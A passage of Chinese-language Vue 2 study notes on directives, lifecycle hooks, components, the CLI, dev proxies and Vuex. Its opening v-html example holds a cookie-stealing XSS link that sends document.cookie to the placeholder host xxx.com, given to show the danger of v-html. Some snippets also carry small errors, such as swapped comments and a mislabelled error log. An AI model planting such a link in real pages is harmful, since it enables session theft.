<body>
<div id="root">
<div v-html="str"></div>
<div v-html="str1"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
str: '<h2>你好</h2>',
// javascript:location.href="xxx.com?"+document.cookie 会获取到浏览器中的cookie
str1: '<a href=javascript:location.href="xxx.com?"+document.cookie>安全漏洞</a>'
}
})
</script>
</body>
12.1.3 v-cloak(没有值)
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性;使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-cloak_指令</title>
<style>
/* [xxx]表示页面标签中有xxx的标签执行该样式结构 */
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="root">
<div v-cloak>{{name}}</div>
<!-- src中写入的文件有延迟,假设需要5s后才可打开该文件,页面会先显示{{name}}5s后开始执行script变成suzie -->
<script type="text/javascript" src="../js/vue.js"></script>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'suzie'
}
})
</script>
</body>
</html>
12.1.4 v-once(没有值)
v-once所在节点在初次动态渲染后,就视为静态内容了,以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<div id="root">
<div v-once>初始化的n值是:{{n}}</div>
<div>当前的n值是:{{n}}</div>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</body>
12.1.5 v-pre(没有值)
跳过其所在节点的编译过程,可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<body>
<div id="root">
<div v-pre>学习Vue的v-pre指令</div>
<!-- 当前的n值是:{{n}} -->
<div v-pre>当前的n值是:{{n}}</div>
<!-- 当前的n值是:1 -->
<div>当前的n值是:{{n}}</div>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</body>
12.1.6 已学过的内置指令
v-bind:单向绑定解析表达式,可简写为 :xxx
v-model:双向数据绑定
v-on:绑定事件监听,可简写为 @
v-for:遍历数组/对象/字符串
v-if:条件渲染(动态控制节点是否存在)
v-else:条件渲染(动态控制节点是否存在)
v-show:条件渲染(动态控制节点是否展示)
12.2 自定义指令(directives)
12.2.1 定义语法
1.局部指令
new Vue({
directives: {
指令名: {配置对象}
}
})
new Vue({
directives: {
指令名() {回调函数}
}
})
2.全局指令
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
12.2.2 配置对象中常用的3个回调
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在模板结构被重新解析时调用
12.2.3 注意事项
(1)指令定义时不加v-,但使用时要加v-;
(2)指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1,
},
directives: {
'big-number'(element, binding) {
element.innerText = binding.value * 10
console.log(element, binding, this) //注意此处的this是window
},
}
})
</script>
<body>
<!--
需求1:定义一个v-big-number指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
// 全局指令
// Vue.directive('big-number', function(element, binding) {
// element.innerText = binding.value * 10
// console.log(element, binding)
// },)
// Vue.directive('fbind', {
// //指令与元素成功绑定时(一上来)
// bind(element, binding) {
// element.value = binding.value
// },
// //指令所在元素被插入页面时
// inserted(element, binding) {
// element.focus()
// },
// //指令所在模板被重新解析时
// update(element, binding) {
// element.value = binding.value
// }
// })
new Vue({
el: '#root',
data: {
name: 'suzie',
n: 1,
},
directives: {
// big函数何时被调用? 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
'big-number'(element, binding) {
element.innerText = binding.value * 10
console.log(element, binding, this) //注意此处的this是window
},
fbind: {
//指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
//指令所在模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
</body>
十三、生命周期
13.1 引出生命周期
生命周期又称生命周期回调函数、生命周期函数、生命周期钩子,是Vue在关键时刻帮我们调用的一些特殊名称的函数;生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的;生命周期函数中的this指向的是vm 或 组件实例对象。
<body>
<div id="root">
<h2 v-if="isShow">你好</h2>
<h2 :style="{opacity: opacity}">欢迎来到电子科技大学</h2>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
opacity: 1,
isShow: false
},
// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
// 例如当把isShow改为true时,mounted也仅打印一次
mounted() {
console.log('mounted')
setInterval(() => {
this.opacity -= 0.01
if(this.opacity <= 0) {
this.opacity = 1
}
}, 16)
},
})
</script>
</body>
13.2 分析生命周期
13.2.1 beforeCreate
此时无法通过vm访问到data中的数据、methods中配置的方法。
13.2.2 created
此时可以通过vm访问到data中的数据、methods中配置的方法。
13.2.3 beforeMount
此时页面呈现的是未经Vue编译的DOM结构,所有对DOM的操作最终都不奏效。
13.2.4 mounted
此时页面呈现的是经过Vue编译的DOM,对DOM的操作均有效(尽可能避免),把初始的真实DOM元素放入页面后(挂载完毕)调用mounted。
一般在此阶段进行:开启定时器、发送网络请求、订阅信息、绑定自定义事件等初始化操作。
13.2.5 beforeUpdate
当数据改变时,此时数据是新的,但页面是旧的,即页面尚未和数据保持同步。
13.2.6 updated
此时数据是新的,页面也是新的,即页面和数据保持同步。
13.2.7 beforeDestroy
此时vm中所有的data、methods、指令等等都处于可用状态,马上要执行销毁过程,但是所有对数据的修改都不会更新。
一般在此阶段进行:关闭定时器、取消订阅信息、解绑自定义事件等收尾操作。
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1,
},
methods: {
add() {
console.log('add')
this.n ++
},
bye() {
console.log('bye')
this.$destroy()
}
},
// 此时无法通过vm访问到data中的数据、methods中配置的方法
beforeCreate() {
console.log('beforeCreate')
console.log(this.n, this.add) //undefined undefined
},
// 此时可以通过vm访问到data中的数据、methods中配置的方法
created() {
console.log('created')
console.log(this.n, this.add) //1 add(){...}
},
// 此时页面呈现的是未经Vue编译的DOM结构,所有对DOM的操作最终都不奏效
beforeMount() {
console.log('beforeMount')
document.querySelector('h2').innerText = '更改h2标签的内容' //最终页面还是显示原始内容
// debugger //页面会显示 当前的n值是:{{n}}
},
// 此时页面呈现的是经过Vue编译的DOM,对DOM的操作均有效(尽可能避免)
mounted() {
console.log('mounted')
// document.querySelector('h2').innerText = '更改h2标签的内容' //最终页面显示 更改h2标签的内容
// debugger //页面会显示 当前的n值是:1
},
// 当数据改变时,此时数据是新的,但页面是旧的,即页面尚未和数据保持同步
beforeUpdate() {
console.log('beforeUpdate')
console.log(this.n) //当点击按钮后n++,数据为2但是页面呈现的是1
// debugger
},
// 此时数据是新的,页面也是新的,即页面和数据保持同步
updated() {
console.log('update')
console.log(this.n) //当点击按钮后n++,数据为2页面呈现的也是2
// debugger
},
// 此时vm中所有的data、methods、指令等等都处于可用状态,马上要执行销毁过程
beforeDestroy() {
console.log('beforeDestroy')
this.add() //若初始值n为1,点击销毁按钮后执行该函数,n变为2,但是页面仍显示为1
console.log(this.n)
},
destroyed() {
console.log('destroyed')
},
})
</script>
</body>
13.3 总结
13.3.1 常用的生命周期钩子
(1)mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
(2)beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
13.3.2 关于销毁Vue实例
(1)销毁后借助Vue开发者工具看不到任何消息。
(2)销毁后自定义事件会失效,但原生DOM事件仍然有效。
(3)一般不会在beforeDestroy操作数据,因为即便操作数据也不会触发更新流程。
十四、组件(components)
14.1 非单文件组件
Vue中使用组件的三大步骤:①定义组件(创建组件);②注册组件;③使用组件(写组件标签)
14.1.1 定义组件
使用 Vue.extend({options}) 创建,其中options和new Vue({options})时传入的那个options几乎一样,但区别如下:
(1)el不要写——最终所用的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
(2)data必须写成函数式——避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构, const school = Vue.extend({options}) 可以简写为:const school = {options}
14.1.2 注册组件
(1)局部注册:靠new Vue的时候传入components选项。
(2)全局注册:靠Vue.component('组件名', 组件)
14.1.3 使用组件
根据编写的组件名直接引用,例如<school></school>
<body>
<div id="root1">
<!-- 第三步:编写组件标签(局部) -->
<school></school>
<hr>
<!-- 第三步:编写组件标签(局部) -->
<student></student>
<!-- 第三步:编写组件标签(全局) -->
<full></full>
<hr>
</div>
<div id="root2">
<!-- 第三步:编写组件标签(全局) -->
<full></full>
</div>
<script type="text/javascript">
// 第一步:创建school组件
const school = Vue.extend({
// el: '#root', // 组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
template: `
<div>
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
data() {
return {
name: '电子科技大学',
address: '成都',
}
},
methods: {
showName() {
alert(this.name)
}
},
})
// 第一步:创建student组件
const student = Vue.extend({
template: `
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName: 'suzie',
age: 23,
}
}
})
// 第一步:创建full组件
const full = Vue.extend({
template: `
<div>{{studentName}},这是全局组件 </div>
`,
data() {
return {
studentName: 'suzie',
}
}
})
// 第二步:注册组件(全局注册)
Vue.component('full', full)
new Vue({
el: '#root1',
// 第二步:注册组件(局部注册)
components: {
school: school,
student: student
}
})
new Vue({
el: '#root2',
})
</script>
</body>
14.1.4 组件名
(1)一个单词组成
第一种写法(首字母小写):school;
第二种写法(首字母大写):School
(2)多个单词组成
第一种写法(kebab-case命名):my-school;
第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
备注:组件名尽可能回避HTML已有的元素名称;可以使用name配置项指定组件在开发者工具中呈现的名字。
14.1.5 组件标签
第一种写法:<school></school>;
第二种写法:<school />
备注:不用使用脚手架时,<school />会导致后续组件不能渲染。
14.1.6 VueComponent
1.组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.例如<school /> 或 <school></school>,Vue解析时会帮我们创建school组件的实例对象。
3.每次调用Vue.extend,返回的都是一个全新的VueComponent。
4.关于this的指向:
(1)组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是【VueComponent】。
(2)new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是【Vue实例对象】。
5.VueComponent的实例对象简称vc(也可以称之为:组件实例对象);Vue的实例对象简称vm。
14.2 单文件组件
单组件让每一个组件都自成一个文件,后缀为.vue,包含三个部分<template>结构</template>、<script>交互</script>、<style>样式</style>
- 模块功能主要由两个命令(暴露和引入)构成:export和import
export命令用于规定模块的对外接口
import命令用于输入其他模块提供的功能
14.2.1 暴露语法
(1)统一暴露
let school = 'UESTC'
function showName() {
console.log('名字叫UESTC')
}
export {school, showName}
(2)分别暴露
export let school = 'UESTC'
export function showName() {
console.log('名字叫UESTC')
}
(3)默认暴露(vue中常用)
export default {
name: 'UESTC',
showName() {
console.log('名字叫UESTC')
}
}
14.2.2 示例
1.首先写School和Student组件
School.vue
<template>
<div class="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
export default {
name: 'School',
data() {
return {
name: '电子科技大学',
address: '成都',
}
},
methods: {
showName() {
alert(this.name)
}
},
}
</script>
<style>
.demo{
background-color: orange;
}
</style>
Student.vue
<template>
<div class="demo2">
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
studentName: 'suzie',
age: 23,
}
}
}
</script>
<style>
.demo2{
background-color: pink;
}
</style>
2.通过App.vue汇总School和Student组件
<template>
<div>
<School></School>
<Student></Student>
</div>
</template>
<script>
// 引入组件
import School from './School.vue'
import Student from './Student.vue'
export default {
name: 'App',
components: {
School,
Student
}
}
</script>
3.写main.js,里面创建vue实例
import App from './App.vue'
new Vue({
el: '#root',
components: {App}
})
4.最后在index.html编写整个页面的结构
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>单文件组件的语法</title>
</head>
<body>
<div id="root">
<App></App>
</div>
<script type="text/javascript" src="./main.js"></script>
<script type="text/javascript" src="../../js/vue.js"></script>
</body>
</html>
十五、Vue脚手架
15.1 创建脚手架
第一步(仅第一次执行):全局安装 @vue/cli
npm install -g @vue/cli
第二部:切换到你要创建项目的目录,然后使用命令创建项目(以管理员身份运行命令提示)
vue create xxxx
第三步:启动项目
npm run serve
备注:
1、如果出现下载缓慢请配置npm淘宝镜像:
npm config set registry http://registry.npm.taobao.org
2、Vue脚手架隐藏了所有webpack相关的配置,若想查看具体的webpack配置,请执行:
vue inspect > output.js
15.2 脚手架文件结构
15.3 不同版本的Vue
vue.js与vue.runtime.xxx.js的区别:
(1)vue.js是完整版的Vue,包含:核心功能+模板解析器
(2)vue.runtime.xxx.js是运行版的Vue,只包含核心功能,没有模板解析器
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。
15.4 ref属性
1、用来给元素或子组件注册引用信息(id的替代者)
2、应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
3、使用方式:
打标识: <h1 ref="xxx">…</h1> 或 <School ref="xxx"></School>
获取: this.$refs.xxx
<template>
<div>
<h1 v-text="msg" ref="title"></h1>
<School ref="sch"></School>
<button @click="showDom" ref="btn">点我输出上方的DOM元素</button>
</div>
</template>
<script>
// 引入组件
import School from './components/School.vue'
export default {
name: 'App',
components: {School},
data() {
return {
msg: '你好'
}
},
methods: {
showDom() {
console.log(this.$refs.title) //真实DOM元素
console.log(this.$refs.sch) //School组件的实例对象(vc)
console.log(this.$refs.btn) //真实DOM元素
}
},
}
</script>
15.5 props配置项
功能:让组件接收外部传过来的数据
1、传递数据: <Demo name="xxx">
2、接收数据:
(1)第一种方式(只接收):props: ['name']
(2)第二种方式(限制类型):props: {name:数据类型}
(3)第三种方式(限制类型、限制必要性、指定默认值):
props: {
name: {
type: 数据类型,
required: true/false, //必要性
default: 默认值
}
}
注意:props是只读的,Vue底层会监测对props的修改,如果进行了修改就会发出警告,若业务需求需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据,但是data中的数据名不能和props中的名称相同。
App.vue
<template>
<div>
<Student name="Suzie" :age="23"></Student>
</div>
</template>
<script>
// 引入组件
import Student from './components/Student.vue'
export default {
name: 'App',
components: {Student},
}
</script>
Student.vue
<template>
<div>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{myAge}}</h2>
<button @click="updateAge">修改年龄</button>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
myAge: this.age
}
},
methods: {
updateAge() {
this.myAge ++
}
},
props: ['name', 'age'] //简单接收
// 接收的同时对数据进行类型限制
// props: {
// name: String,
// age: Number,
// }
// 接收的同时对数据进行类型限制+默认值的指定+必要性限制
// props: {
// name: {
// type: String, //name的类型是字符串
// required: true //name是必要的
// },
// age: {
// type: Number,
// default: 27 //age的默认值
// }
// }
}
</script>
15.6 mixin混入
功能:可以把多个组件共用的配置提取成一个混入对象。
15.6.1 定义混合
例如,创建一个mix.js文件,写入混合对象xxx。
export const xxx = {
data() {……},
methods: {……},
}
15.6.2 使用混入
(1)全局混入:在main.js中import该xxx,Vue.mixin(xxx)
(2)局部混入:在用到该混入对象的vue文件中import,mixins: [xxx]
15.7 插件
功能:用于增强Vue。
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
15.7.1 定义插件
对象.install = function(Vue, options) {
// 1.添加全局过滤器
Vue.filter(……)
// 2.添加全局指令
Vue.directive(……)
// 3.添加全局混入
Vue.mixin(……)
}
15.7.2 使用插件
在main.js中import插件文件xxx,Vue.use(xxx)后所有组件均可使用插件里面的内容。
15.8 scoped
作用:让样式再局部生效,防止冲突。
写法:<style scoped></style>
15.9 总结
15.9.1 组件化编码流程
(1)拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
(2)实现动态组件:考虑好数据的存放位置,数据是一个组件在用还是一些组件在用。
a.一个组件在用:放在组件自身即可。
b.一些组件再用:放在他们共同的父组件上(状态提升)。
(3)实现交互:从绑定事件开始。
15.9.2 props的适用场所
(1)父组件 ===> 子组件 通信
(2)子组件 ===> 父组件 通信(要求父组件先给子组件一个函数)
15.9.3 v-model的注意事项
v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
注意:props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。
十六、浏览器本地存储WebStorage
1、存储内容大小一般支持5MB左右(不同浏览器可能不一样)
2、浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
3、相关API:
(1)接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值:local(session)Storage.setItem('key', 'value'),存储对象类型时value的值要写成JSON.stringify(value)
(2)接受一个键名作为参数,返回键名对应的值:local(session)Storage.getItem('key'),key对应的value如果是对象类型,则可以把返回值result写成JSON.parse(result)
(3)接受一个键名作为参数,将其从存储中删除:local(session)Storage.removeItem('key')
(4)清空存储中的所有数据:local(session)Storage.clear()
4、备注:
(1)SessionStorage存储的内容会随浏览器窗口关闭而消失。
(2)LocalStorage存储的内容需要手动清除才会消失。
(3)local(session)Storage.getItem('key')如果key对应的value获取不到,则getItem的返回值是null。
(4)JSON.parse(null)的结果依然是null。
十七、组件的自定义事件
功能:一种组件间通信的方式,适用于:子组件 ===> 父组件
A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。
17.1 绑定自定义事件
(1)第一种方式:在父组件中<子组件 @绑定事件名="回调" /> 或 <子组件 v-on:绑定事件名="回调" />
(2)第二种方式:在父组件中
<子组件 ref="xxx" />
……
mounted() {
this.$refs.xxx.$on('绑定事件名', 回调)
}
注意:通过 this.$refs.xxx.$on('绑定事件名', 回调) 绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题。
备注:若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。组件上也可以绑定原生DOM事件,但是需要使用native修饰符,例如:
<Student @click.native="show"></Student>
……
methods: {
show() {
console.log('111')
}
},
若不加native,则click代表子组件的自定义绑定事件。
17.2 触发自定义事件
在子组件中:this.$emit('绑定事件名',数据)
17.3 解绑自定义事件
在子组件中:this.$off('绑定事件名')
this.$off('example1') //解绑一个自定义事件
this.$off(['example1', 'example2']) //解绑多个自定义事件
this.$off() //解绑所有自定义事件
十八、全局事件总线
功能:一种组件间通信的方式,适用于任意组件间通信。
18.1 安装全局事件总线
new Vue({
……
beforeCreate() {
Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
},
……
})
18.2 使用全局事件总线
(1)接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
methods: {
demo(data) {……}
},
……
mounted() {
this.$bus.$on('绑定事件名', this.demo)
},
(2)提供数据:this.$bus.$emit('绑定事件名', 数据)
注意:最好在beforeDestroy钩子中用$off解绑当前组件所用到的事件,回调函数要是写在$on中要使用箭头函数。
十九、消息订阅与发布(pubsub)
功能:一种组件间通信的方式,适用于任意组件间通信。
19.1 安装pubsub
npm i pubsub-js
19.2 引入
在需要用到pubsub的组件中引入:import pubsub from 'pubsub-js'
19.3 使用消息订阅与发布
(1)接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
methods: {
demo(data) {……}
},
mounted() {
pubsub.subscribe('订阅名', this.demo) //订阅消息
},
(2)提供数据:pubsub.publish('订阅名', 数据)
注意:最好在beforeDestroy钩子中用 pubsub.unsubscribe(pid) 解绑当前组件所用到的事件,回调函数要是写在$on中要使用箭头函数。
二十、nextTick
1、语法:this.$nextTick(回调函数)
2、作用:在下一次DOM更新结束后执行其指定的回调函数。
3、适用场所:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。
二十一、Vue封装的过渡与动画
1、作用:在插入、更新或移除DOM元素时,再合适的时候给元素添加样式类名。
2、图示:
3、写法
(1)准备好样式
- 元素进入的样式
- v-enter-from:进入的起点
- v-enter-active:进入过程中
- v-enter-to:进入的终点
- 元素离开的样式
- v-leave-from:离开的起点
- v-leave-active:离开的过程
- v-leave-to:离开的终点
(2)使用 <transition> 包裹要过渡的元素,并配置name属性。
(3)若有多个元素需要过渡,则需要使用 <transition-group>,且每个元素都要指定key值。
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition-group
appear
name="animate__animated animate__bounce"
enter-active-class="animate__swing"
leave-active-class="animate__fadeOutTopLeft"
>
<h1 v-show="isShow" key="1">你好!</h1>
<h1 v-show="!isShow" key="2">Suzie</h1>
</transition-group>
</div>
</template>
<script>
import 'animate.css'
export default {
name: 'Test',
data() {
return {
isShow: 'true'
}
},
}
</script>
<style scoped>
h1 {
background-color: orange;
width: 300px;
}
</style>
注意:使用第三方库时要在文件里引入。
二十二、vue脚手架配置代理
22.1 配置方法
(1)方法一:在vue.config.js中添加如下配置
devServer: {proxy: '服务器地址'}
优点:配置简单,请求资源时直接发给前端(8080)即可。
axios.get('http://localhost:8080/xxx).then(
response => {
console.log('请求成功了', response.data)
},
error => {
console.log('请求成功了', error.message)
}
)
缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
工作方式:当请求了前端不存在的资源时(即不在public文件夹下的文件),则该请求会转发给服务器(优先匹配前端资源)。
(2)方法二:在vue.config.js中添加如下配置
devServer: {
proxy: {
'/api1': { //匹配所有以 '/api1' 开头的请求路径
target: '服务器1地址', //代理目标的基础路径
ws: true, //用于支持websocket
changeOrigin: true,
pathRewrite: {'^/api1':''}
},
'/api2': { //匹配所有以 '/api2' 开头的请求路径
target: '服务器2地址', //代理目标的基础路径
changeOrigin: true,
pathRewrite: {'^/api2':''}
}
}
}
优点:可以配置多个代理且可以灵活控制请求是否走代理。
缺点:配置略微繁琐,请求资源时必须加前缀。例如
axios.get('http://localhost:8080/api1/xxx).then(
response => {
console.log('请求成功了', response.data)
},
error => {
console.log('请求成功了', error.message)
}
)
22.2 changeOrigin
(1)changeOrigin为true时代表:服务器收到的请求头中的host为该服务器的端口号。
(2)changeOrigin为false时代表:服务器收到的请求头中的host为8080。
changeOrigin默认为true
22.3 pathRewrite
pathRewrite里面的 '^api1' 是什么意思 ?
答:用代理首先得有一个标识,表明你的这个连接要使用代理。/api1 就是告诉node ,我接口用 /api1 开头的才使用代理,所以接口都写成 /api1/xxx ,最后代理的路径就是
http://localhost:3000/api1/xxx
可是正确的接口路径里面是没有 /api1 的,所以就需要 pathRewrite, 用 '^api1' :'' 把/api1去掉,这样既能有正确的标识,又能在请求接口的时候去掉 /api1 。
二十三、插槽
1、作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,
适用于: 父组件 ===> 子组件
2、分类:默认插槽、具名插槽、作用域插槽
23.1 默认插槽
父组件中:
<子组件名>
<div>html结构1</div>
</子组件名>
子组件中:
<template>
<div>
<!-- 定义插槽 -->
<slot>插槽默认内容...</slot>
</div>
</template>
23.2 具名插槽
父组件中:
<子组件名>
<!-- 写法一 -->
<template slot="插槽名1">
<div>html结构1</div>
</template>
<!-- 写法二 -->
<template v-slot:插槽名2>
<div>html结构2</div>
</template>
</子组件名>
子组件中:
<template>
<div>
<!-- 定义插槽 -->
<slot name="插槽名1">插槽默认内容...</slot>
<slot name="插槽名2">插槽默认内容...</slot>
</div>
</template>
23.3 作用域插槽
23.3.1 理解
数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。例如,games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定。
23.3.2 具体编码
父组件App中:
<Category>
<template scope="scopeData">
<!-- 生成的是ul列表 -->
<ul>
<li v-for="g in scopeData.games" :key="g">{{g}}</li>
</ul>
</template>
</Category>
<Category>
<template slot-scope="scopeData">
<!-- 生成的是h4标题 -->
<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
</template>
</Category>
子组件Category中:
<template>
<div>
<slot :games="games"></slot>
</div>
</template>
<script>
export default {
name:'Category',
props:['title'],
//数据在子组件自身
data() {
return {
games:['红色警戒','穿越火线','劲舞团','超级玛丽']
}
},
}
</script>
二十四、Vuex
24.1 概念
专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,适用于任意组件间通信。
24.2 何时使用
1、多个组件依赖于同一状态。
2、来自不同组件的行为需要变更同一状态。
24.3 工作原理
可以将Vue Components看作客人,Actions看作服务员,Mutations看作后厨,State看作菜品。
24.4 搭建vuex环境
24.4.1 安装vuex
npm i vuex@3 //指定安装vuex的3版本
注意:vue2中要用vuex的3版本;vue3中要用vuex的4版本,如果直接执行npm i vuex会自动安装vuex的4版本。
24.4.2 创建文件
创建文件:src/store/index.js
// 该文件用于创建vuex中最为核心的store
import Vue from 'vue'
// 引入vuex
import Vuex from 'vuex'
// 使用插件
Vue.use(Vuex)
// 准备actions——用于响应组件中的动作
const actions = {}
// 准备mutations——用于操作数据(state)
const mutations = {}
// 准备state——用于存储数据
const state = {}
export default new Vuex.Store({
// actions: actions,
// mutations: mutations,
// state: state
// 简写方式
actions,
mutations,
state
})
24.4.3 传入配置项store
在main.js中创建vm时传入store配置项
import Vue from 'vue'
import App from './App.vue'
// 引入store
import store from './store' //默认执行文件夹下的index.js
new Vue({
el: '#app',
render: h => h(App),
store,
beforeCreate() {
Vue.prototype.$bus = this
},
})
24.5 基本使用
24.5.1 初始化数据
配置actions、配置mutations、操作文件store.js
//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)
const actions = {
//响应组件中加的动作
jia(context,value){
// console.log('actions中的jia被调用了',context,value)
context.commit('JIA',value)
},
}
const mutations = {
//执行加
JIA(state,value){
// console.log('mutations中的JIA被调用了',state,value)
state.sum += value
}
}
//初始化数据
const state = {
sum:0
}
//创建并暴露store
export default new Vuex.Store({
actions,
mutations,
state,
})
24.5.2 组件中读取vuex中的数据
当组件要读取存入vuex中的数据时,执行:this.$store.state.xxx
24.5.3 组件中修改vuex中的数据
当组件要修改存在vuex中的数据时,执行:this.$store.dispatch('actions中的方法名',数据) 或 this.$store.commit('mutions中的方法名',数据)。
备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit。
24.6 getters的使用
24.6.1 概念
当state中的数据需要经过加工后再使用时,可以使用getters加工(类似computed)。
24.6.2 配置
在src/store/index.js中追加getters配置
......
const getters = {
bigSum(state){
return state.sum * 10
}
}
//创建并暴露store
export default new Vuex.Store({
......
getters
})
24.6.3 组件中读取数据
当组件要读取数据时,执行:this.$store.getters.xxx
24.7 四个map方法
在组件中引入: import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
24.7.1 mapState
用于帮助我们映射 state 中的数据为计算属性。
computed: {
// 借助mapState生成计算属性,从state中读取属性(对象写法)
...mapState({sum:'sum',school:'school',subject:'subject'}),
// 借助mapState生成计算属性,从state中读取属性(数组写法)
...mapState(['sum','school','subject']),
},
24.7.2 mapGetters
用于帮助我们映射 getters 中的数据为计算属性。
computed: {
// 借助mapGetters生成计算属性,从getters中读取属性(对象写法)
...mapGetters({bigSum:'bigSum'}),
// 借助mapGetters生成计算属性,从getters中读取属性(数组写法)
...mapGetters(['bigSum'])
},
24.7.3 mapActions
用于帮助我们生成与 actions 对话的方法,即:包含 $store.dispatch(xxx) 的函数。
methods:{
// 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
// 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法)
...mapActions(['jiaOdd','jiaWait'])
}
24.7.4 mapMutations
用于帮助我们生成与 mutations 对话的方法,即:包含 $store.commit(xxx) 的函数。
methods:{
// 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
...mapMutations({increment:'JIA',decrement:'JIAN'}),
// 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法)
...mapMutations(['JIA','JIAN']),
}
注意:对象写法在赋值时一定要加引号!!!mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。
24.8 模块化+命名空间
目的:让代码更好维护,让多种数据分类更加明确。
24.8.1 初始化数据
在src/store/index.js中
const countAbout = {
namespaced:true,//开启命名空间
state:{sum:0},
mutations: { ... },
actions: { ... },
getters: {
bigSum(state){
return state.sum * 10
}
}
}
const personAbout = {
